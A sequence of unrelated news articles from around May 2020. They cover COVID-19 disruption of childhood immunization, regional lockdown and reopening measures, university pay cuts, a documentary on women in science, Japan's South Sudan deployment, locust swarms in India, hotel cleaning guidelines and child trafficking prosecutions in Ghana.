COVID 19 is disrupting life-saving immunization services around the world, putting millions of children  in rich and poor countries alike  at risk of diseases like diphtheria, measles and polio.This stark warning comes from the World Health Organization, UNICEF and Gavi, the Vaccine Alliance ahead of the Global Vaccine Summit on 4 June, at which world leaders will come together to help maintain immunization programmes and mitigate the impact of the pandemic in lower-income countries.According to data collected by the World Health Organization, UNICEF, Gavi and the Sabin Vaccine Institute, provision of routine immunization services is substantially hindered in at least 68 countries and is likely to affect approximately 80 million children under the age of 1 living in these countries.ROUTINE IMMUNIZATION OF CHILDREN DISRUPTEDSince March 2020, routine childhood immunization services have been disrupted on a global scale that may be unprecedented since the inception of expanded programs on immunization (EPI) in the 1970s. More than half (53%) of the 129 countries where data were available reported moderate-to-severe disruptions, or a total suspension of vaccination services during March-April 2020.Immunization is one of the most powerful and fundamental disease prevention tools in the history of public health, said Dr Tedros Adhanom Ghebreyesus, WHO Director-General. Disruption to immunization programmes from the COVID-19 pandemic threatens to unwind decades of progress against vaccine-preventable diseases like measles.At the 4 June Global Vaccine Summit in London, donors will pledge their support to Gavi, the Vaccine Alliance, to sustain and accelerate this lifesaving work in some of the most vulnerable countries. From the bottom of my heart, I urge donors to fully fund the Alliance. These countries, these children especially, need vaccines, and they need Gavi.The reasons for disrupted services vary. Some parents are reluctant to leave home because of restrictions on movement, lack of information or because they fear infection with the COVID-19 virus. And many health workers are unavailable because of restrictions on travel, or redeployment to COVID response duties, as well as a lack of protective equipment.More children in more countries are now protected against more vaccine-preventable diseases than at any point in history, said Dr. Seth Berkley, Gavi CEO. Due to COVID-19 this immense progress is now under threat, risking the resurgence of diseases like measles and polio. Not only will maintaining immunization programmes prevent more outbreaks, it will also ensure we have the infrastructure we need to roll out an eventual COVID-19 vaccine on a global scale.Transport delays of vaccines are exacerbating the situation. UNICEF has reported a substantial delay in planned vaccine deliveries due to the lockdown measures and the ensuing decline in commercial flights and limited availability of charters. To help mitigate this, UNICEF is appealing to governments, the private sector, the airline industry, and others, to free up freight space at an affordable cost for these life-saving vaccines. Gavi recently signed an agreement with UNICEF to provide advance funding to cover increased freight costs for delivery of vaccines, in light of the reduced number of commercial flights available for transport.We cannot let our fight against one disease come at the expense of long-term progress in our fight against other diseases, said Henrietta Fore, UNICEF Executive Director. We have effective vaccines against measles, polio and cholera. While circumstances may require us to temporarily pause some immunization efforts, these immunizations must restart as soon as possible, or we risk exchanging one deadly outbreak for another.Next week, WHO will issue new advice to countries on maintaining essential services during the pandemic, including recommendations on how to provide immunizations safely.MASS IMMUNIZATION CAMPAIGNS TEMPORARILY DISRUPTEDMany countries have temporarily and justifiably suspended preventive mass vaccination campaigns against diseases like cholera, measles, meningitis, polio, tetanus, typhoid and yellow fever, due to risk of transmission and the need to maintain physical distancing during the early stages of the COVID-19 pandemic.Measles and polio vaccination campaigns, in particular, have been badly hit, with measles campaigns suspended in 27 countries and polio campaigns put on hold in 38 countries. At least 24 million people in 21 Gavi-supported lower-income countries are at risk of missing out on vaccines against polio, measles, typhoid, yellow fever, cholera, rotavirus, HPV, meningitis A and rubella due to postponed campaigns and introductions of new vaccines.In late March, concerned that mass gatherings for vaccination campaigns would enflame transmission of COVID-19 WHO recommended countries to temporarily suspend preventive campaigns while assessments of risk, and effective measures for reducing COVID virus transmission were established.WHO has since monitored the situation and has now issued advice to help countries determine how and when to resume mass vaccination campaigns. The guidance notes that countries will need to make specific risk assessments based on the local dynamics of COVID-19 transmission, the health system capacities, and the public health benefit of conducting preventive and outbreak response vaccination campaigns.Based on this guidance, and following growing concerns about increasing transmission of polio, the Global Polio Eradication Initiative (GPEI), is advising countries to start planning for the safe resumption of polio vaccination campaigns, especially in polio high-risk countries.Despite the challenges, several countries are making special efforts to continue immunization. Uganda is ensuring that immunization services continue along with other essential health services, even funding transportation to ensure outreach activities. And in Lao PDR, despite a national lockdown imposed in March, routine immunization in fixed sites continued with physical distancing measures in place.
(JNS)Israeli health- care providers plan to start testing the population for coronavirus antibodies this week in an attempt to discover how many Israelis have developed immunity to the virus, Israeli media reported on Sunday.

Depending on the results, large segments of the population could potentially not have to worry about being quarantined or isolated and could fly or rejoin the workforce without any restrictions, according to Ynet.

Last week it was reported that Israel was planning to conduct 100,000 serological tests for COVID-19 as part of its efforts to determine just how widespr...
According to the Ministry of Health, the quarantine in Volyn region cannot be mitigated due to the number of Covid-19 cases

In the Volyn region, the epidemic of coronavirus does not subside due to outbreaks of the disease in three particular areas. Deputy head of the Volyn Regional State Administration Tatyana Shcherbak stated this on 112 Ukraine TV channel.

So far we have several outbreaks, they are all closed, that is, localized. These are Lutsk district, Kovalsky district and the city of Kovel, Shcherbak said.

According to her, the situation in these areas is undert control. But it is worth noting that over the past day in the city of Kovel, medics recorded more than 10 cases of infection with coronavirus.

But with the localization of precisely these outbreaks, the region will quarantine immediately. And we can say that we monitor the situation daily, and as soon as our incidence rate decreases, we will immediately weaken quarantine measures, the deputy head of the local regional administration added.

In addition, Scherbak noted that because of the Covid-19 epidemic, only in the past month, the budget losses reached up to 20-30%.

As we reported before, Ukraine's Healthcare Ministry reports a drop in the level of vaccination: it has fallen by 20% since the beginning of the lockdown.
In another step towards restoring partial normalcy in the Tamil Nadu, the state government has permitted the operation of auto-rickshaws and cycle rickshaws subject to conditions.

The services would resume in all parts of the state, but not in Chennai. However, the vehicles would be allowed to ply only between 7 am and 7 pm and the vehicles will not be permitted to operate in the containment zones across the state.

The announcement which comes into effect from May 23, mentions that the drivers who reside in the containment zones would not be allowed to resume work. Only the driver and a single passenger will be permitted in the vehicles.

The drivers have also been asked to provide sanitizers in the vehicle for the passengers use, besides disinfecting the vehicle thrice a day. Both the driver and passenger are required to wear masks.

Drivers have also been instructed to wash their hands with soap at regular intervals. While Tamil Nadu has been seeing a significantly higher spike in cases in May, there have also been relaxations in various sectors that are aimed at restoring normalcy. It is notable that many of these relaxations dont apply to containment zones and some arent permitted in Chennai.

Over the last few weeks, the state government has permitted functioning of all standalone shops across the state, opened state-run liquor outlets (except in Chennai and adjoining districts), permitted state government offices to function with 50 per cent staff for six days a week. Most recently, the government has also permitted the resumption of shooting television serials and other programmes, subject to various conditions and precautions.

The coronavirus figures in the state are quite alarming as Tamil Nadu is only second to Maharashtra in the total number of cases. On May 21, Tamil Nadu saw 776 new cases, thus taking the total cases to 13,967, while active cases stood at 7,588. The government figures say that 3.72 lakh tests have been conducted and 3.55 lakh people have undergone the test.

More than half of the states total cases have been recorded in capital city Chennai. Chennai has seen a total of 8,795 cases, of which 5,681 are active.

However, the silver lining is the recovery rate in the state which has been above the national average. Tamil Nadu has seen 6,282 recoveries, of which 400 were discharged on Thursday alone.

The mortality rate in the state has also been below the national average, the death toll to COVID-19 in Tamil Nadu stands at 94.
A Russian nurse who caused uproar after wearing lingerie under a see-through gown has had her punishment overturned, at the same time as hospital doctors issue a stark warning over a shortage of medical clothing amid the country's climbing death toll.

Nadia, 23, went viral after she was pictured on a male Covid-19 ward wearing only underwear beneath her see-through protective gown.

One picture shows a male patient gazing toward Nadia, whose black knickers and white bra are clearly visible under the transparent grown.

Nadia had explained to her managers she was 'too hot' in her protective gown, but doctors at the Tula Regional Clinical Hospital have now revealed there were shortages of both disposable and reusable medical clothing to wear over her lingerie.

Two images taken by a male patient in a Covid-19 ward show the nurse wearing only lingerie under the see-through gown went viral

Colleagues say the nurse was not provided with scrubs to wear beneath the gown leading to the situation, and should not be punished

Russia has so far seen more than 318,000 confirmed cases of coronavirus - the second-highest rate in the world behind the US, and 3,099 deaths.

The 'glory' of her new-found fame was 'hard to endure', she told her local newspaper Tulskaya Pressa.

The nurse said she had been force to close her social media accounts over the uproar, which led regional health chiefs to announce she would be disciplined for 'non-compliance with the requirements for medical clothing'.

She has since had her punishment overturned following a rallying of support from colleagues.

It is believed Nadia is not the only medic to wear underwear alone beneath the transparent protective gown while treating patients.

'We just have nothing to wear,' a doctor told Komsomolskaya Pravda.

'There are not enough scrub suits, which according to the rules we should wear under our protective gowns.

'Believe me, we wouldn't go naked if we were provided with a complete set.'

Nadia is believed to be one of many medics to wear only underwear beneath their transparent protective gowns and the head of her hospital insisted she had not been punished over the pictures

A doctor on the same ward as Nadia said: 'I totally support the nurse.

'It very hot in these costumes for a long time.

'She did not deserve any punishment. Most likely she realised that the costume was transparent, but decided to dress like this anyway because it is very hard to be in these costumes for a long time.

'And the main thing is that she helped the coronavirus patients. It was totally not right that some patient took a picture of her.

'He framed her when she was helping him.'

Nurse Nadia, 23, has won a wave of support, with demands for her hospital bosses to rescind disciplinary action against her. She is pictured left in the same 'LOVE FLIRT' bra she wore in the viral hospital pictures

Nadia had been forced to stay apart from her family for two months while caring for coronavirus patients, to ensure she did not put her relatives at risk, she said.

'I'm not scared - it's my job,' she was quoted as saying.

'I always wanted to help people, bring benefits, so I went into medicine.'

The head of her hospital Dr Anna Savishcheva insisted Nadia had not been punished over the pictures.

And she revealed the nurse had received a personal visit and backing from Tula regional governor Alexey Dyumin, 47, a former Putin bodyguard and military spy chief who has been tipped as a future Russian president.

'We did not impose any disciplinary sanctions, in any case, written,' Dr Savishcheva told Vesti Tula TV.

'The girl continues to work.

'This is a good employee, a professional, who provides medical care at a high level.'

She said: 'As soon as her picture appeared in web, governor Alexey Dyumin met her - and was in touch with her.

'He chatted, supported and thanked her and all the medics for their work.'

Nadia did not deserve reproach for her appearance, said the hospital chief.

'The nurse did her job, she did not pose.'

Officials at Tula Hospital (pictured) threatened the nurse with disciplinary action for violating uniform codes after images taken by patients went viral

Hospital head Dr Anna Savishcheva (above right) said: 'This is a good employee, a professional, who provides medical care at a high level.' Nadia has has also been visited and backed by Tula regional governor Alexey Dyumin, 47, a former Putin bodyguard and military spy chief (above left)

Ex-Putin bodyguard Dyumin is a former deputy head of GRU military intelligence and in 2014 is reported to have led a secret mission to smuggle toppled pro-Russian Ukrainian president Viktor Yanukovich out of his country after he was deposed.

Some analysts claim Dyumin is being groomed by Putin as his eventual successor.

Russian officials have been forced to defend the country against allegations that its unusually low Covid-19 mortality rate of 0.9% from Covid-19 is suspicious.

Moscow's health department, for example, revealed that more than 60 per cent of deaths of coronavirus patients in the capital were not counted in the official death count because autopsies showed they had died of other causes.

The country's top health official Tatiana Golikova claimed: 'We never manipulate official statistical data,' when asked about a Financial Times analysis of death data this week.
KALAMAZOO, MI -- The Western Michigan University Board of Trustees will hold a special virtual meeting Tuesday to consider an employment contract with faculty that includes a temporary 2.25% salary reduction.

The board will consider a one-year extension of the universitys contract with the faculty union during the meeting scheduled for 2 p.m. Tuesday, May 26, according to a press release from WMU.

The university administration and representatives from Westerns chapter of the American Association of University professors reached a tentative agreement on the contract May 17, according to the release, and union members ratified the contract on May 21.

Approval from the Board of Trustees would extend the current contract, with the proposed changes, through September 2021, according to the recommendation going before the board Tuesday.

Faculty salaries would be reduced by 2.25% effective July 1 and continuing through June 30, 2021, according to the recommendation. The contract ratification does not alter the health care plan benefits available to the unions about 900 members.

The university is also offering a retirement incentive plan as part of the contract ratification. The plan is open to certain employees and provides a full year of base salary, according to the recommendation.

President Edward Montgomery said in a virtual town hall May 11 that the university is preparing to cut 20% of general fund spending in each of its division to make up millions of dollars in in expected shortfalls.

Related: Substantial layoffs still coming at Western Michigan University as budgets cut by 20%

University officials said WMU has already lost $45 million, and expect a sizable impact on the university budget to stretch into Westerns 2020-21 fiscal year, if not beyond.

WMU announced on April 30 it was laying off 240 employees from one of its unions, and implementing 2.5% wage reductions for all benefits-eligible, non-bargaining staff.

Also taking a pay cut are the universitys senior executives, including the university president and seven vice presidents, who each took a 10% salary cut. In addition, all associate and assistant vice presidents, associate provosts and vice provosts and deans will take a 5% pay reduction, the university said.

The university also implemented a hiring freeze, travel freeze, canceled construction and cut special projects.

The WMU Board of Trustees meeting on Tuesday will be live-streamed online at wmich.edu. Those who wish to address the board for public comment may notify Kahler Schuemann at kahler.schuemann@wmich.edu by 5 p.m. Monday, May 25, for instructions on how to participate in the virtual meeting.

Also on MLive:

Sexist attacks cast Michigan Gov. Whitmer as mothering tyrant of coronavirus dystopia

As coronavirus stay-at-home order drags on, more Michiganders bend the rules

More staff cuts expected as Western Michigan University grapples with multimillion-dollar losses
Picture a Scientist brings the struggles of women in science to screen

With major funding from the Heising-Simons Foundation and Alfred P. Sloan Foundation, the film Picture a Scientist is breaking new ground by virtually launching in theaters across North America on June 12th. The independent documentary follows a groundswell of researchers who are writing a new chapter for women scientists. Picture a Scientist will show through June 26 in select theaters nationwide, which are each providing exclusive links to the full film online.

Featuring geologist Jane Willenbring, chemist Raychelle Burks, and biologist Nancy Hopkins, as well as key social scientists working to understand and reduce gender discrimination in the sciences, Picture a Scientist brings diversity in science into sharp view at a critical time. The current pandemic is a call to action for scientists to work together globally, with a multitude of different perspectives, to defeat COVID-19. For too long, women and other minorities in science have been left out or driven out, stymied by a system of harassment, discrimination, and general bias. "Any impediment to advancing minorities in science is an impediment to science itself," says Sharon Shattuck, co-director of Picture a Scientist.

Scheduled to premiere at the postponed 2020 Tribeca Film Festival, Picture a Scientist paints a nuanced, emotional but unflinching portrait of the struggles women in science have faced, in recent decades up to today. The film challenges audiences of all backgrounds and genders to question their own implicit biases and move toward change.

"The issues that disproportionately affected women in STEM two decades ago unfortunately still exist today. By sharing these experiences, we can all improve and collectively change the climate and culture in STEM for the better," says Cyndi Atherton, Director of the Heising-Simons Foundation's science program. "What we get from this film, and from these women telling their critical stories, is something that has the potential to change the world."

"We are proud to support this important story about the pervasive harassment of women in STEM," says Doron Weber, Vice President and Program Director at the Alfred P. Sloan Foundation. "In addition to ongoing funding for Science on Screen, the Foundation provided significant production support for this compelling film that will hopefully bring a critical but underappreciated issue to a wider public."

The film's award-winning directors Ian Cheney (THE CITY DARK, THE SEARCH FOR GENERAL TSO, THE MOST UNKNOWN) and Sharon Shattuck (FROM THIS DAY FORWARD, ANIMATED LIFE SERIES), along with the film's three star scientists, will participate in a virtual Q&A on June 17th made available through the Coolidge Corner Theater in Massachusetts. Radiolab producer and guest host Molly Webster will moderate the discussion. The virtual launch will kick off community screenings, and a series of online conversations with scientists worldwide. The film is also part of the Sloan Foundation's Science on Screen grant program. It was Executive Produced by Amy Brand.

"As we see today, science requires constantly challenging our own assumptions," Shattuck says. "And that must be true not only for the discoveries and breakthroughs but also for the people who are encouraged to make them."

###

To request a screening, contact producer Manette Pottle: pictureascientist@gmail.com. Learn more on the film's website.

ABOUT THE FUNDING

Principal funding was provided by the Heising-Simons Foundation. A family foundation based in California, the Heising-Simons Foundation works with its many partners to advance sustainable solutions in climate and clean energy, enable groundbreaking research in science, enhance the education of our youngest learners, and support human rights for all people. The goal of the Foundation's women in physics and astronomy grantmaking is to increase the number of women in these fields, both in colleges and in academic and research careers in the United States.

Major funding for the film was also provided by the Alfred P. Sloan Foundation, a non-profit philanthropy that makes grants for original research and education in science, technology, and economics. Sloan's program in Public Understanding of Science and Technology supports books, radio, film, television, theater, and new media to reach a wide, non-specialized audience and to bridge the two cultures of science and the humanities. Its nationwide film program supports twelve film schools and six screenplay development partners and has resulted in over 600 film projects and over 25 feature films.

This theatrical release is part of the ongoing Science on Screen partnership between the Coolidge Corner Theater and the Sloan Foundation. Since its launch in 2011, the program has awarded 237 grants to 86 nonprofit cinemas across the country. Science on Screen features classic, cult, science fiction, and nonfiction films provocatively matched with presentations by experts who discuss scientific, technological, or medical issues raised by each film. The program aims to inspire in audience-members an increased appreciation for science, technology, engineering, and mathematics.

Additional funding for the film production was provided by Nancy Blachman, Anonymous, Sundance Institute Documentary Film Program with support from Sandbox Films, The New York State Council on the Arts, The Wonder Collaborative, Chicken & Egg Pictures, The Educational Foundation of America, Erica Brand and Adam Brand, The Benevity Community Impact Fund, Mar Hershenson, Kate Korsh, and Jennifer Kane.

ABOUT THE FEATURED SCIENTISTS

Raychelle Burks, Ph.D. is a professor of analytical chemistry at American University in Washington, D.C., formerly at St. Edwards University in Austin, TX. Her research focuses on developing low-cost colorimetric sensors for detecting chemicals of forensic interest, including explosives and regulated drugs. As a science communicator, Burks has appeared on the Science Channel's Outrageous Acts of Science, the American Chemical Society's Reactions videos, Royal Society of Chemistry podcasts, and at genre conventions such as DragonCon and GeekGirlCon. Burks was awarded the 2020 American Chemical Society Grady-Stack award for excellence in public engagement.

Nancy Hopkins, Ph.D. is a molecular biologist and professor of biology at the Massachusetts Institute of Technology. She is known for her research identifying the role genes play in longevity and cancer predisposition in adult fish, as well as for her work promoting equality of opportunity for women scientists in academia. She is a member of the National Academy of Sciences, the Institute of Medicine of the National Academy, and the American Academy of Arts and Sciences.

Jane Willenbring, Ph.D. is a geomorphologist and professor of geology at the Scripps Institution of Oceanography, and director of the Scripps Cosmogenic Isotope Laboratory. Willenbring's research examines the evolution of the Earth's surface, especially how landscapes are affected by tectonics, climate change, and life on Earth. She is a 2018 Geological Society of America Fellow, and the recipient of the Antarctica Service Medal and the National Science Foundation CAREER Award.

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
Source: Xinhua| 2020-05-22 22:36:05|Editor: huaxia

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TOKYO, May 22 (Xinhua) -- The extending of the Self-Defense Forces' (SDF) dispatch to the headquarters of the UN peacekeeping mission in South Sudan to May 31 next year was approved by Japan's Cabinet on Friday.

"More time is needed to stabilize South Sudan, and giving support to the country will help establish regional peace," Defense Minister Taro Kono told a press conference, with regards to the planned one-year extension.

Under the current deployment, four Japanese SDF members have been dispatched to carry out duties at the UN mission in the capital Juba.

The SDF's dispatch extension follows the UN Security Council in March extending the UN's mission in South Sudan until March 15 next year.

Since November 2011, SDF personnel have been dispatched to the mission's headquarters.

A more than five-year deployment of Ground Self-Defense Force (GSDF) civil engineering units to the headquarters was ended in 2017, however.

Japan's deployment of troops to South Sudan, however, has not been without its controversies, including those related to the widely-reported scandal regarding the "losing" of controversial mission logs of the GSDF's past peacekeeping activities in the region.

The defense ministry had stated in 2017 that logs recorded by GSDF personnel taking part in a UN peacekeeping mission in South Sudan had been discarded and could not be found, but backtracked on its position after the logs were subsequently found in digital form.

Government sources close to the matter said at the time that it was decided by top defense ministry officials at a meeting that this fact should be concealed and then defense minister, Tomomi Inada, allegedly agreed to the plan to conceal the logs.

According to Japan's pacifist, war-renouncing Constitution and in line with rules governing Japan's GSDF's role in U.N. peacekeeping missions, troops must be withdrawn from conflict zones if exchanges specifically described as "fighting" occur.

The daily activity logs of the GSDF troops, that were previously deemed "lost," stated that troops in South Sudan should be careful of being drawn into "sudden fighting" in the city of Juba.

In the recovered logs, the troops said they must be "careful about getting drawn into sudden fighting in the city." The record also refers to the possible "suspension of UN activities amid intensifying clashes in Juba."

Inada and the defense ministry were accused of trying to intentionally conceal the potentially damaging records of the troop's activities, during a time when 270 people died in fighting between government forces and rebels in Juba.

While Japan has participated in a number of UN peacekeeping missions, the topic of amending Japan's war-renouncing Constitution to further loosen the constrains on Japan's forces and allow them to increase their footprint in overseas theaters, remains a hot-button topic here.

The issue of amending the pacifist charter for the first time since World War II is widely opposed by the public and opposition parties. Enditem
Crop-munching locust swarms have entered Rajasthan, Punjab, Haryana, and Madhya Pradesh a month in advance and pose a major threat to standing crops and vegetables, the Union environment ministry warned in a statement on Friday. It said Rajasthan is the most affected state and added the swarm has entered earlier than expected. States are adopting various means for controlling the swarm, the statement said.

Soumitra Dasgupta, the ministrys additional director general (wildlife), said though they do not deal with locusts, they were informed by ground staff and wildlife wardens about the swarms. So, we have shared the information from the western states, said Dasgupta.

HT on Friday reported India is on the alert for the desert locusts, which according to the UN pose a severe risk to the countrys agriculture this year.

A top pest-monitoring agency has also flagged signs of an early-than-usual summer invasion of the species of grasshoppers from across Pakistan and prompted the government to consider importing equipment from the UK, apart from deploying drones, satellite-derived tools, special fire-tenders and sprayers at pre-identified border locations.

Locusts can fly up to 150 km daily and a one square km swarm can eat as much food as 35,000 people in terms of weight in a single day.

A surge in locust attacks since last year is being attributed to favourable breeding weather caused by a large number of cyclones in East Africa. India, China, and Pakistan face the most risk in Asia, according to the UN. Locust attacks are known to cause a considerable drop in agricultural output.

In its update on Thursday, the Food and Agriculture Organisation (FAO), said locusts breeding was continuing in southern Iran and south-west Pakistan, where control operations are in progress against hopper groups and bands. As vegetation dries out, more groups and swarms will form and move from these areas to the summer breeding areas along both sides of the Indo-Pakistan border in several waves from now until at least early July. Good rains are predicted during the first half of June along the Indo-Pakistan border [and] that would allow egg-laying to occur. This should reduce the further eastward movement of swarms that have already arrived in Rajasthan, India.

K L Gurjar, deputy director, plant protection, Locust Warning Organisation, Union agriculture ministry, said the locusts that have arrived are sub-adults flying very high and covering huge distances fast. They have reached up to Morena and Gwalior in Madhya Pradesh with the help of westerly winds. Swarms were also seen in Haryana bordering areas like Jhunjhunu. These have come from Pakistan, Baluchistan and Iran, which are their breeding area. Because they are sub-adults, there is a risk of egg-laying which we are trying to contain. Our teams are spraying insecticides and tracking their movement.

Madhya Pradesh principal secretary, department of farmer welfare and agriculture, Ajit Kesari said, The government of India has released Rs 51 lakh for purchase of chemical. We are keeping stock of chemicals in all the districts. Our instructions to all these districts are to track the locusts and spray chemical wherever they settle at night. Thus, their number is decreasing by the day. Also, wherever they settle the area is chemically treated to destroy eggs also. Meanwhile, government of India has warned Maharashtra given the possibility of the swarms heading in that direction.
Press Release

22 May 2020

WASHINGTON - As states across the country navigate reopening and hotels begin to safely welcome back guests, the American Hotel & Lodging Association (AHLA) today announced that hospitality leaders across North America have endorsed Safe Stay, AHLA's enhanced industry-wide cleaning guidelines. AHLA's Partner State Associations, who represent the hotel industry in each state across the country, as well as leading hospitality organizations in the U.S. and Canada representing the depth and breadth of the hotel industry endorsed the new cleanliness guidelines which were developed by industry leaders and public health officials to meet the new health challenges of COVID-19.

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"As we reopen hotel doors and welcome back the traveling public, it is critical that the hotel industry across North America unite under one common set of safety, cleanliness and health standards so that our employees and guests can be assured that hotels will be cleaner and safer than ever before. Along with North America's top hospitality leaders, we believe this industry-wide effort will ensure greater transparency and confidence throughout the entire hotel experience," said Chip Rogers, President and CEO of AHLA. "Ensuring the safety of our guests and employees is a never-ending challenge, and in the face of the current public health crisis, safety is more paramount than ever."

In addition to industry-wide endorsement of Safe Stay, local and state government organizations are also utilizing the industry protocols to inform governors, mayors, legislators and attorneys general as they work locally to reopen economies.

"As a local leader, knowing the hotel industry stands united behind the standards of the Safe Stay initiative gives me and my fellow mayors across the country the confidence to reopen our communities to visitors as the virus subsides," said Acquanetta Warren, Chairwoman of Community Leaders of America, Mayor, Fontana, CA. "Providing hotel guests and employees with an assurance of safety and cleanliness is essential to the economic rebound we're pursuing in Fontana, up and down California, and across the United States."

Hotels have always met rigorous standards for cleaning and safety and these enhanced guidelines are rooted in recommendations from the Centers for Disease Control (CDC). This initiative brings a new level of focus and transparency to an industry already built on cleanliness.

Already, Safe Stay has been adopted in AHLA-member hotels in all 50 states, and the following endorsements represent an even broader reach across the entire industry:

Asian American Hotel Owners Association (AAHOA)

Association of Lodging Professionals

Associated Luxury Hotels International (ALHI)

Global Business Travel Association (GBTA)

Hospitality Financial and Technology Professionals

Hospitality Sales and Marketing Association International (HSMAI)

Hospitality Technology Next Generation (HTNG)

Hotel Association of Canada (HAC)

Latino Hotel Association (LHA)

National Association of Black Hotel Owner, Operators & Developers (NABHOOD)

US Travel Association

"As provinces across Canada begin to reopen, we wanted to ensure that hotels are ready to welcome guests safely and with the highest health and safety standards," said Susie Grynol, President and CEO of HAC. "Even though hotels were the first hit and hardest hit by the pandemic, we have been a leader in ensuring that our establishments are following the latest scientific evidence and safety standards. We want to ensure that hotels across Canada are ready and able to open safely, and that guests have confidence in Canada's hotel sector as we begin the transition to a new reality over the coming weeks and months."

"As travel begins to resume in states across the country, the hotel industry is going above and beyond to protect both our employees and guests," said Cecil Staton, President and CEO of AAHOA. "Safe Stay represents the top priority for the industry, and as we continue to face this public health crisis together, our industry will continue to focus on providing a greater level of confidence for consumers."

"The hospitality industry is built on a foundation of taking care of people, and Safe Stay renews our industry's legacy of commitment to meet the public health crisis," said Lynette Montoya, President and CEO of LHA. "While some aspects of a traditional hotel stay might be different, travelers should rest reassured knowing our industry has considered every measure to create the safest environment for employees and guests."

"Hotels have always held the highest cleaning standards and in the face of this public health crisis, our industry is uniting around enhanced guidelines to keep our employees and guests safe and healthy. Safe Stay's rigorous standards will create an environment where travelers and employees know we are putting their health and wellbeing first," said Andy Ingraham, President and CEO of NABHOOD.

Industry leaders representing all segments of the hotel industry worked in conjunction with public health experts to develop this common set of best practices that could be applied across the entire industry. The "Safe Stay" guidelines provide direction on employee and guest health, employee responsibilities, cleaning products and protocols and physical distancing and will be revised as needed based on the recommendations of public health authorities, in compliance with any federal, state and local laws.

Learn more about AHLA's Safe Stay guidelines by visiting: www.AHLA.com/safestay.

Endorsing Organizations:

Asian American Hotel Owners Association (AAHOA)

Association of Lodging Professionals

Associated Luxury Hotels International (ALHI)

Global Business Travel Association (GBTA)

Hospitality Financial and Technology Professionals

Hospitality Sales and Marketing Association International (HSMAI)

Hospitality Technology Next Generation (HTNG)

Hotel Association of Canada (HAC)

Latino Hotel Association (LHA)

National Association of Black Hotel Owner, Operators & Developers (NABHOOD)

US Travel Association

Endorsing State and Local Lodging Associations :
Essi Abbam is a 32-year old mother from Moree, a fishing community in the Central Region of Ghana whose 12 year-old daughter (Mary not her real name) became paralysed after she was forced to work for her aunt.



Mary was sent to live with her aunt in Kumasi in the Ashanti Region by her father. After several weeks of daily fish trading in the market, she was taken to the hospital where doctors examination showed a spinal cord damage. This was due to carrying heavy loads on her head.



Asked whether she was ready to report her daughters perpetrators to the police, Essi said no, with the reason that the people involved are her in-laws. The police will only collect money from me, they will not do anything, she said; I cannot go through the frustration at the court, she added.



Despite trafficking and slavery being illegal in Ghana since 2005, trafficking investigations and prosecution of perpetrators have been slow and in some cases, do not happen at all. Corruption and political interference is rife in the justice system, thus, several victims are unable to seek justice.



Trafficking and modern day slavery in Ghana



Ghana is known to be a source, transit, and destination country for men, women, and children subjected to forced labor and sex trafficking.



The most common type of trafficking in Ghana is internal child trafficking, where children are subjected to forced labour  usually in the fishing, mining, agriculture and informal sectors  within the country.



In 2017, Ghana was ranked by the US Trafficking in Person (TIP) Report, as one of the countries with the highest prevalence of internal and cross border human trafficking.



Internal child trafficking is often facilitated by parents and guardians who, under the pretext of poverty, sell their children to traffickers.



These traffickers target vulnerable communities and exploit girls, selling them into domestic servitude. They are often sent via relatives or middlemen to work in harsh conditions.



The involvement of family - relatives, according to Deputy Superintendent of Police (DSP) Irene Oppong, Head of the Anti-Trafficking Unit of the Ghana Police Service, Central Region, is a big challenge in the country's fight against trafficking and modern day slavery.



She says most Ghanaians perceive the act as a family issue particularly when the traffickers are related to the victims, meaning they are more likely not to support prosecution of the perpetrators.



Mr. David Kofi Awusi, Executive Director of Youth Rise International, an anti-child trafficking Non-Governmental Organisation, estimates that more than 49,000 children are working on the Volta River under harsh conditions.



Investigation and prosecution of trafficking crimes in Ghana



The government has over the years embarked on rigorous anti-trafficking law enforcement activities to stop the practice. The 2005 Human Trafficking Act criminalized sex and labour trafficking.



The Act has impressive prosecution provisions, and prescribes penalties of a minimum of five years, which experts say are sufficiently stringent and commensurate with penalties prescribed for other serious offenses, such as rape.



The country has also established a National Action Plan for the Elimination of Human Trafficking. Yet, despite the laws in place, the practice still persists with low investigation and prosecution into trafficked crimes.



According to the 2019 US TIP Report, the Government of Ghana initiated only 82 investigations into suspected human trafficking during 2018, compared to 113 investigations in the previous year.



The report states that trafficking suspects were prosecuted using laws with lesser penalties, due to insufficient evidence for a trafficking violation. The report also said that political interference with police investigations and prosecutions of suspected human trafficking continued to be a major concern for Civil Society Organisations and other stakeholders.



NGOs and organizations continued to report general corruption within the police and judicial system. The government did not report any investigations, prosecutions, or convictions of government officials complicit in human trafficking offenses, the report stated.



Mr. Isaac Arthur heads the Child Rights, Gender and Empowerment Program at International Needs Ghana, an Accra-based NGO.



Mr. Arthur said that a total of 317 children and adults have been rescued from slavery between 2016 and 2019, as part of the project.



However, he said: We were able to arrest only 19 people, out of them, five have been successfully prosecuted, with two convictions.



He claimed that the rest (14) were released based on orders from influential people in high political offices. In some instances, the police will say they received an order from above and for that matter they were released.



DSP Oppong and Mr. Philip Andoh, Counsel for the Ghana Immigration Service shared their experiences with respect to the challenges faced in investigating and prosecuting trafficked crimes.



They both mentioned the difficulty of getting witnesses to testify in court.



When we process the cases for court, some of the complainants come and declare in court that they are not interested in the case. We have a lot of cases at the court but we do not get witnesses to testify for the prosecution to be concluded, DSP Oppong said, adding that, lack of cooperation and support was a major problem, especially in cases where the trafficking was perpetrated by a family member.



For Mr. Andoh, some of the victims, especially those from other countries, do not trust that their issues would be handled well.



According to him, there might be delays in the prosecution process but that is because due processes would need to be followed.



Sometimes too, the reason for delayed justice is that judges can be changed and new judges start trials all over again he added.



DSP Oppong called for co-operation from the community saying, the practice happens in secret and if a community member or a family member does not inform the police, we will never know.



As Mr. Arthur put it: not every officer has been trained or has knowledge of how to handle issues of human trafficking and so most of them do not consider it as a criminal case, and only issue warning to perpetrators and free them.



Our state prosecutors must be given in-service training to become more resourceful, he added.



Corruption and human trafficking



Mr Arthur of International Needs Ghana talks about a gap in the police service which must be closed.



Police officers who are trained and are passionate about human trafficking issues are often sidelined for reasons that are not so clear, he states.



The 2017 US State Department report emphasised that there are delays in prosecuting suspects, reports of police collaboration with criminals, and a public perception of police ineptitude in the prosecution of trafficking crimes.



DSP Oppong of the Police Anti-Human Trafficking Unit in the Central Region explains: with human trafficking, it is not the police that prosecute, it is the Attorney General. We have the police prosecutor who just makes a court appearance once to seek remand or bail for the offender after which the docket goes to the AGs office.



She said people who accuse the Police of taking bribes in human trafficking prosecution are ignorant and needs to be educated.



However, she complains about lack of resources and logistics to thoroughly investigate trafficking cases.



